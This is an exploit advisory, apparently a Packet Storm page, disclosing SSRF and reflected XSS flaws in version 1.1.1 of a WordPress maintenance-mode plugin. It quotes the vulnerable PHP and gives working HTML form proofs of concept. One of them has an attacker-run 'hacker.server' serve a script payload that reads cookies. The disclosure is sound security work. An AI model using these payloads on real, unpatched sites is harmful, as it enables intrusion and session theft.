exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Under Construction, Coming Soon, And Maintenance Mode 1.1.1 SSRF / XSS

WordPress Under Construction, Coming Soon, And Maintenance Mode 1.1.1 SSRF / XSS
Posted Feb 26, 2021
Authored by Mr.F

WordPress Under Construction, Coming Soon, and Maintenance Mode plugin version 1.1.1 suffers from cross site scripting and server-side request forgery vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | d58e31b67c514efac3af6b08579604947f92e9e0dc780a874e27f3ac40619845

WordPress Under Construction, Coming Soon, And Maintenance Mode 1.1.1 SSRF / XSS

Change Mirror Download
There are SSRF and RXSS vulnerabilities in the WordPress plugin Under Construction, Coming Soon & Maintenance Mode version 1.1.1.
Both vulnerabilities are fixed in version 1.1.2:
https://wordpress.org/plugins/under-construction-maintenance-mode/#developers

[1] SSRF

Here is the relevant code from file includes/mc-get_lists.php:

$apiKey = $_POST['apiKey'];
$dataCenter = substr( $apiKey , strpos( $apiKey,'-' ) + 1 );
$url = 'https://'. $dataCenter. '.api.mailchimp.com/3.0/lists/';

The user submits the POST parameter "apiKey", and the code constructs a https URL from it without any sanitization and then
retrieves it with cURL, which leads to a SSRF bug.

POC:

<form method="post" action="http://attacked.server/wp-content/plugins/under-construction-maintenance-mode/includes/mc-get_lists.php">
<input type="text" name="apiKey" value="-localhost:8765/test/test/test?key1=val1&dummy=" />
<input type="submit" value="Submit!" />
</form>

[2] RXSS

The code in the same file decodes JSON data fetched from the URL and then displays HTML code from the retrieved data without
any HTML escaping, leading to a reflected cross-site scripting issue where the payload is on a different server.

POC (attacked.server runs WordPress with a vulnerable version of this plugin, and hacker.server is run by the attacker):

<form method="post" action="http://attacked.server/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="ucmm_mc_api" />
<input type="text" name="apiKey" value="-hacker.server/test.json?dummy=" />
<input type="submit" value="Submit!" />
</form>

test.json:

[[{"id":"<script>alert(document.location);alert(document.cookie);<\/script>"}]]

// Mr.F in 2021
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close